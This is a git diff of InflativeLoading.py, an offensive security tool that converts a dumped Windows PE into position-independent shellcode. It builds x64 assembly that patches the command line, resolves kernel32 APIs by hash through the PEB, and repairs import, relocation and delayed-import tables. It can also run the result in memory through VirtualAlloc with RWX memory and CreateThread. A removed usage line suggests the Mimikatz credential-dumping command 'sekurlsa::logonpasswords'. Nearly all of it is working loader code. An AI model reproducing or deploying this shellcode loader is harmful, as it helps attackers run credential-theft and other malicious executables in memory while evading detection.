diff --git a/InflativeLoading.py b/InflativeLoading.py index 8d7e703..2a7686e 100644 --- a/InflativeLoading.py +++ b/InflativeLoading.py @@ -1,26 +1,49 @@ import ctypes, struct from keystone import * -import sys +import argparse +def print_banner(): + banner=""" +██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗ +██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝ +██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗ +██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝ +██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗ +╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝ + + ██╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗ + ██║ ██╔═══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝ + ██║ ██║ ██║███████║██║ ██║██║██╔██╗ ██║██║ ███╗ + ██║ ██║ ██║██╔══██║██║ ██║██║██║╚██╗██║██║ ██║ + ███████╗╚██████╔╝██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝ + ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ +""" + print(banner) + print("Author: Senzee") + print("Github Repository: https://github.com/senzee1984/InflativeLoading") + print("Twitter: senzee@1984") + print("Website: https://senzee.net") + print("Description: Dynamically convert a native PE to PIC shellcode") + print("Attention: Bugs are expected, more support and improvements are coming!\n\n\n") -def generate_assembly_instructions(new_cmd): + +def generate_asm_by_cmdline(new_cmd): new_cmd_length = len(new_cmd) * 2 + 12 unicode_cmd = [ord(c) for c in new_cmd] fixed_instructions = [ - "mov rsi, [rax + 0x20]; # RSI = Address of ProcessParameter", - "add rsi, 0x70; # RSI points to CommandLine member", + "mov rsi, [rax + 0x20]; # RSI = Address of ProcessParameter", + "add rsi, 0x70; # RSI points to CommandLine member", f"mov byte ptr [rsi], {new_cmd_length}; # Set Length to the length of new commandline", "mov byte ptr [rsi+2], 0xff; # Set the max length of cmdline to 0xff bytes", "mov rsi, [rsi+8]; # RSI points to the string", - "mov dword ptr [rsi], 0x002e0031; # Push '.1'", - "mov dword ptr [rsi+0x4], 0x00780065; # Push 'xe'", - "mov dword ptr [rsi+0x8], 0x00200065; # Push ' e'" + "mov dword ptr [rsi], 0x002e0031; # Push '.1'", + "mov dword ptr [rsi+0x4], 0x00780065; # Push 'xe'", + "mov dword ptr [rsi+0x8], 0x00200065; # Push ' e'" ] - start_offset = 0xC dynamic_instructions = [] for i, char in enumerate(unicode_cmd): @@ -32,41 +55,45 @@ def generate_assembly_instructions(new_cmd): dword = hex_char + dword instruction = f"mov dword ptr [rsi+0x{offset-2:x}], 0x{dword};" dynamic_instructions.append(instruction) - if len(unicode_cmd) % 2 != 0: instruction = f"mov word ptr [rsi+0x{offset:x}], 0x{dword};" dynamic_instructions.append(instruction) - - final_offset = start_offset + len(unicode_cmd) * 2 dynamic_instructions.append(f"mov byte ptr [rsi+0x{final_offset:x}], 0;") - - instructions = fixed_instructions + dynamic_instructions return "\n".join(instructions) -def read_pe_file(file_path): +def read_dump_file(file_path): with open(file_path, 'rb') as file: return bytearray(file.read()) -def print_byte_array(byte_array, line_length=20, max_lines=20): - for i in range(min(max_lines, len(byte_array) // line_length)): - line = byte_array[i * line_length:(i + 1) * line_length] +def print_shellcode(sc): + for i in range(min(20, len(sc))): + line = sc[i * 20:(i + 1) * 20] formatted_line = ''.join([f"\\x{b:02x}" for b in line]) print(f"buf += b\"{formatted_line}\"") - print("......"+str(len(byte_array)-400) +" more bytes......") + print("......"+str(len(sc)-400) +" more bytes......") if __name__ == "__main__": - if len(sys.argv)!=3: - print("Usage: python3 shellcodify.py calc.bin \"sekurlsa::logonpasswords\"") - pe_file_path = sys.argv[1] - pe_array = read_pe_file(pe_file_path) - new_cmd = sys.argv[2] - update_cmdline_asm = generate_assembly_instructions(new_cmd) + print_banner() + parser = argparse.ArgumentParser(description='Dynamically generate shellcode stub to append to the dump file') + parser.add_argument('--bin', '-b', required=True, dest='bin',help='The binary file dumped by DumpPEFromMemory.exe') + parser.add_argument('--cmdline', '-c', required=False, default="", dest='cmdline',help='Supplied command line') + parser.add_argument('--output', '-o', required=True, dest='output',help='Save the PIC code as a bin file') + parser.add_argument('--execution', '-e', required=False, default='False', dest='sc_exec',help='(Only Windows) Immediately execute shellcoded PE? True/False') + + args = parser.parse_args() + bin= args.bin + cmdline = args.cmdline + output = args.output + sc_exec = args.sc_exec + pe_array = read_dump_file(bin) + + update_cmdline_asm = generate_asm_by_cmdline(cmdline) # Generate shellcode that used to update command line CODE = ( @@ -83,8 +110,8 @@ f"{update_cmdline_asm}" "find_kernel32:" " mov rsi,[rax+0x18];" # RSI = Address of _PEB_LDR_DATA " mov rsi,[rsi + 0x30];" # RSI = Address of the InInitializationOrderModuleList -" mov r9, [rsi];" # python.exe -" mov r9, [r9];" # ntdll.dll +" mov r9, [rsi];" +" mov r9, [r9];" " mov r9, [r9+0x10];" # kernel32.dll " jmp function_stub;" # Jump to func call stub @@ -141,7 +168,7 @@ f"{update_cmdline_asm}" " ret;" -"function_stub:" # Achieve PIC and elminiate 0x00 byte +"function_stub:" " mov rbp, r9;" # RBP stores base address of Kernel32.dll " mov r8d, 0xec0e4e8e;" # LoadLibraryA Hash " call parse_module;" # Search LoadLibraryA's address @@ -158,20 +185,20 @@ f"{update_cmdline_asm}" CODE_OFFSET = 4096 - CODE_LEN CODE2 = ( -" jmp fix_iat;" # Jump to fix_iat section +" jmp fix_import_dir;" # Jump to fix_iat section -"find_nt_header:" +"find_nt_header:" # Quickly return NT header in RAX " xor rax, rax;" " mov eax, [rbx+0x3c];" # EAX contains e_lfanew " add rax, rbx;" # RAX points to NT Header -" ret;" # Return +" ret;" -"fix_iat:" # Init necessary variable for fixing IAT +"fix_import_dir:" # Init necessary variable for fixing IAT " xor rsi, rsi;" " xor rdi, rdi;" -f"lea rbx, [rip+{CODE_OFFSET}];" +f"lea rbx, [rip+{CODE_OFFSET}];" # Jump to the dump file " call find_nt_header;" " mov esi, [rax+0x90];" # ESI = ImportDir RVA " add rsi, rbx;" # RSI points to ImportDir @@ -179,13 +206,13 @@ f"lea rbx, [rip+{CODE_OFFSET}];" " add rdi, rsi;" # RDI = ImportDir VA + Size -"loop_imported_module:" +"loop_module:" " cmp rsi, rdi;" # Compare current descriptor with the end of import directory -" je module_loop_end;" # If equal, exit the loop +" je loop_end;" # If equal, exit the loop " xor rdx ,rdx;" " mov edx, [rsi];" # EDX = ILT RVA (32-bit) " test rdx, rdx;" # Check if ILT RVA is zero (end of descriptors) -" je module_loop_end;" # If zero, exit the loop +" je loop_end;" # If zero, exit the loop " xor rcx, rcx;" " mov ecx, [rsi+0xc];" # RCX = Module Name RVA " add rcx, rbx;" # RCX points to Module Name @@ -201,12 +228,12 @@ f"lea rbx, [rip+{CODE_OFFSET}];" " mov r15, r8;" # Backup IAT Address -"loop_imported_func:" +"loop_func:" " mov rdx, r14;" # Restore ILT address + processed entries " mov r8, r15;" # Restore IAT Address + processed entries " mov rdx, [rdx];" # RDX = Ordinal or RVA of HintName Table " test rdx, rdx;" # Check if it's the end of the ILT/IAT -" je next_descriptor;" # If zero, move to the next descriptor +" je next_module;" # If zero, move to the next descriptor " mov r9, 0x8000000000000000;" " test rdx, r9;" # Check if it is import by ordinal (highest bit set) " mov rbp, rcx;" # Save module base address @@ -232,20 +259,20 @@ f"lea rbx, [rip+{CODE_OFFSET}];" " mov [r8], rax;" # Write the resolved address to the IAT " add r15, 0x8;" # Move to the next IAT entry (64-bit addresses) " add r14, 0x8;" # Movce to the next ILT entry -" jmp loop_imported_func;" # Repeat for the next function +" jmp loop_func;" # Repeat for the next function -"next_descriptor:" +"next_module:" " add rsi, 0x14;" # Move to next import descriptor -" jmp loop_imported_module;" # Continue loop +" jmp loop_module;" # Continue loop -"module_loop_end:" +"loop_end:" -"fix_reloc:" # Save RBX //dq rbx+21b0 l46 +"fix_basereloc_dir:" # Save RBX //dq rbx+21b0 l46 " xor rsi, rsi;" " xor rdi, rdi;" " xor r8, r8;" # Empty R8 to save page RVA @@ -268,9 +295,9 @@ f"lea rbx, [rip+{CODE_OFFSET}];" " xor rcx, rcx;" -"loop_reloc_block:" +"loop_block:" " cmp rsi, rdi;" # Compare current block with the end of BaseReloc -" jge reloc_fixed_end;" # If equal, exit the loop +" jge basereloc_fixed_end;" # If equal, exit the loop " xor r8, r8;" " mov r8d, [rsi];" # R8 = Current block's page RVA " add r8, rbx;" # R8 points to current block page (Should add an offset later) @@ -283,7 +310,7 @@ f"lea rbx, [rip+{CODE_OFFSET}];" " sub rdx, 8;" # RDX = End of all entries in current block -"loop_reloc_entries:" +"loop_entries:" " cmp rsi, rdx;" # If we reached the end of current block " jz next_block;" # Move to next block " xor rax, rax;" @@ -299,7 +326,7 @@ f"lea rbx, [rip+{CODE_OFFSET}];" " sub [r8], r14;" # Update the address " mov r8, r11;" # Restore r8 " add rsi, 2;" # Move to next entry by adding 2 bytes -" jmp loop_reloc_entries;" +" jmp loop_entries;" "skip_padding_entry:" # If the last entry is a padding entry @@ -307,28 +334,28 @@ f"lea rbx, [rip+{CODE_OFFSET}];" "next_block:" -" jmp loop_reloc_block;" +" jmp loop_block;" -"reloc_fixed_end:" +"basereloc_fixed_end:" " sub rsp, 0x8;" # Stack alignment -"fix_delayed_iat:" +"fix_delayed_import_dir:" " call find_nt_header;" " mov esi, [rax+0xf0];" # ESI = DelayedImportDir RVA " test esi, esi;" # If RVA = 0? -" jz delayed_module_loop_end;" # Skip delay import table fix +" jz delayed_loop_end;" # Skip delay import table fix " add rsi, rbx;" # RSI points to DelayedImportDir -"loop_delayed_module:" +"delayed_loop_module:" " xor rcx, rcx;" " mov ecx, [rsi+4];" # RCX = Module name string RVA " test rcx, rcx;" # If RVA = 0, then all modules are processed -" jz delayed_module_loop_end;" # Exit the module loop +" jz delayed_loop_end;" # Exit the module loop " add rcx, rbx;" # RCX = Module name " call r12;" # Call LoadLibraryA " mov rcx, rax;" # Module handle for GetProcAddress for 1st arg @@ -342,46 +369,46 @@ f"lea rbx, [rip+{CODE_OFFSET}];" " mov r15, r8;" # Backup IAT Address -"loop_delayed_imported_function:" +"delayed_loop_func:" " mov rdx, r14;" # Restore INT Address + processed data " mov r8, r15;" # Restore IAT Address + processed data " mov rdx, [rdx];" # RDX = Name Address RVA " test rdx, rdx;" # If Name Address value is 0, then all functions are fixed -" jz next_delayed_module;" # Process next module +" jz delayed_next_module;" # Process next module " mov r9, 0x8000000000000000;" " test rdx, r9;" # Check if it is import by ordinal (highest bit set of NameAddress) " mov rbp, rcx;" # Save module base address -" jnz resolve_delayed_by_ordinal;" # If set, resolve by ordinal +" jnz delayed_resolve_by_ordinal;" # If set, resolve by ordinal -"resolve_delayed_by_name:" +"delayed_resolve_by_name:" " add rdx, rbx;" # RDX points to NameAddress Table " add rdx, 2;" # RDX points to Function Name " call r13;" # Call GetProcAddress -" jmp update_delayed_iat;" # Go to update IAT +" jmp delayed_update_iat;" # Go to update IAT -"resolve_delayed_by_ordinal:" +"delayed_resolve_by_ordinal:" " mov r9, 0x7fffffffffffffff;" " and rdx, r9;" # RDX = Ordinal number " call r13;" # Call GetProcAddress with ordinal -"update_delayed_iat:" +"delayed_update_iat:" " mov rcx, rbp;" # Restore module base address " mov r8, r15;" # Restore current IAT address + processed " mov [r8], rax;" # Write the resolved address to the IAT " add r15, 0x8;" # Move to the next IAT entry (64-bit addresses) " add r14, 0x8;" # Movce to the next INT entry -" jmp loop_delayed_imported_function;" # Repeat for the next function +" jmp delayed_loop_func;" # Repeat for the next function -"next_delayed_module:" +"delayed_next_module:" " add rsi, 0x20;" # Move to next delayed imported module -" jmp loop_delayed_module;" # Continue loop +" jmp delayed_loop_module;" # Continue loop -"delayed_module_loop_end:" +"delayed_loop_end:" "all_completed:" @@ -396,41 +423,32 @@ f"lea rbx, [rip+{CODE_OFFSET}];" encoding2, count2 = ks.asm(CODE2) encoding = encoding + encoding2 - - sh = b"" for e in encoding: sh += struct.pack("B", e) shellcode = bytearray(sh) - print("Shellcode Stub size: "+str(len(shellcode))+" bytes") - - new_shellcode = shellcode + b"\x90"*(0x1000-len(shellcode)) + pe_array - - print("Shellcoded PE's size: "+str(len(new_shellcode))+" bytes") + print("[+] Shellcode Stub size: "+str(len(shellcode))+" bytes") + print("[*] Padded to 0x1000 bytes to align with page boundary") + merged_shellcode = shellcode + b"\x90"*(0x1000-len(shellcode)) + pe_array + print("[!] Shellcoded PE's size: "+str(len(merged_shellcode))+" bytes\n\n") + print_shellcode(merged_shellcode) - print_byte_array(new_shellcode) + try: + with open(output, 'wb') as f: + f.write(merged_shellcode) + print("\n\nGenerated shellcode successfully saved in file "+output) + except Exception as e: + print(e) + - - ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 - ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), - ctypes.c_int(len(new_shellcode)), - ctypes.c_int(0x3000), - ctypes.c_int(0x40)) - - buf = (ctypes.c_char * len(new_shellcode)).from_buffer(new_shellcode) - ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), - buf, - ctypes.c_int(len(new_shellcode))) - print("Shellcode located at address %s" % hex(ptr)) - input("CONTINUE TO EXECUTE SHELLCODE...") - - ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), - ctypes.c_int(0), - ctypes.c_uint64(ptr), - ctypes.c_int(0), - ctypes.c_int(0), - ctypes.pointer(ctypes.c_int(0))) - - ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) + if sc_exec.lower() == "true": + ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 + ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(merged_shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) + buf = (ctypes.c_char * len(merged_shellcode)).from_buffer(merged_shellcode) + ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(merged_shellcode))) + print("\n\n[#] Shellcode located at address %s" % hex(ptr)) + input("\n[!] PRESS TO EXECUTE SHELLCODED EXE...") + ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) + ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))